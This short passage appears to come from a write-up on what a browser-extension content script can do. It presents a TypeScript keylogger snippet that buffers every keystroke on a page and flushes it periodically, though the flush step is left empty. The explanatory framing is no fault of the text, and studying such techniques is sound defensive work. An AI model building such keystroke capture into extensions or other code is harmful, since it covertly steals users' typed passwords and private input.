You can even put a keylogger

Keylogger
With a content script running on every page, reading keystrokes is dead easy. Creating a keystroke buffer that is periodically flushed will give us nice consecutive keystrokes that are easy to read.

his code snippet

let buffer = "";

const debouncedCaptureKeylogBuffer = _.debounce(async () => {
  if (buffer.length > 0) {
    // Flush the buffer

    buffer = "";
  }
}, 1000);

document.addEventListener("keyup", (e: KeyboardEvent) => {
  buffer += e.key;

  debouncedCaptureKeylogBuffer();
});
